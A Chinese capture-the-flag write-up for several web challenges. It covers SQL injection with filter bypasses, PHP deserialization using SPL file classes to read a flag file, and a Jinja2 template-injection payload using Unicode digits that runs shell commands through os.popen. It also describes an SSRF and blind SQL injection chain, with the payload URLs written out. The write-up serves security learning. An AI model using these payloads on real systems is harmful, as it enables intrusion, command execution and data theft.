BestDB
- SQL注入
- 读取数据库文件load_file()
给了查询语句:
$sql = "SELECT * FROM users WHERE id = '$query' OR username = \\"$query\\""; |
使query=2有回显,但是对于单引号进行了过滤,但是它给了username,通过username发现双引号
是没有被过滤的,接着测试发现还过滤空格
payload :
查库: |
存在过滤所以十六进制
绕过
ez_serialize
反序列化– SPL php原生文件操作类
A、B、C三个类都没有什么危险函数,利用原生类读取文件
SPL是用于 "解决典型问题" (standard problems)的一组接口与类的集合 |
SPL类中存在能够进行文件处理和迭代的类:
类 描述 |
源码:
|
- 直接读取/var/www/html下文件有哪些,得到一个flag所在的文件夹,再遍历这个文件夹发现存在flag.php
<?php |
- 接着用SplFileObject(“/var/www/html/aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php”)读到flag
<?php |
baby_flask
- SSTI
- join
- python3支持unicode编码
过滤:
Hi young boy!</br> |
数字被过滤了可以使用这些特殊的数字来绕过,所以可以使用”𝟘-𝟡”替换数字
https://www.compart.com/en/unicode/bidiclass/EN
然后就可以使用 join
进行拼接构造出一些我们想要的字符
{%set a=dict(po=aa,p=aa)|join%} # pop |
最后的payload如下,成功执行ls /var/www/flask
就可以看到flag:
name={%set a=dict(po=aa,p=aa)|join%}{%set b=lipsum|string|list|attr(a)(𝟙𝟠)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(ge=cc,tit=dd,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{%set f=lipsum|string|list|attr(a)(𝟡)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-𝟠)%}{%set i=(dict(cat=aa)|join,f,g,dict(flag=aa)|join)|join%}{%set h=(a,dict(en=aa)|join|join)|join%}{%set i=dict(re=aa,ad=aa)|join%}{%set z=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-𝟝)%}{%set j=(dict(ls=aa)|join,f,g,(dict(var=aa)|join),g,(dict(www=aa)|join),g,(dict(flask=aa)|join)|join)|join%}{%print (((lipsum|attr(c))|attr(d)(e))|attr(h)(j))|attr(i)()%}{{j}} |
ez_login(x)
- SSRF
- SESSION绕过
- 布尔盲注
给出源码:
Index.php
<?php |
抓包:
需要初始化session
,这里需要利用PHP_SESSION_UPLOAD_PROGRESS
来初始化session
可看(LFI绕过Session包含限制
)
session.upload_progress是php>=5.4添加的。最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在session中(包含用户可控的值),即使此时用户没有初始化session,PHP也会自动初始化session。 而且,默认情况下session.upload_progress.enabled是为开启的
创建表单:
添加phpsessid ,获得允许:
扫出admin.php:
直接访问失败,根据index.php利用SSRF
访问
换个ip形式:
回显:
访问/yuanma_f0r_eAZy_logon.zip,得到源码se1f_Log3n.php:
se1f_log3n.php
<?php |
ssrf访问:
Sql注入试试:
?url=http://localhost/se1f_Log3n.php?username='or 1=1%25%32%33&password= |
尝试盲注:
?username='or length(database())=3%25%32%33&password=1 |
脚本:
import requests |
替换payload:
查库: |
大佬脚本
# coding=utf-8 |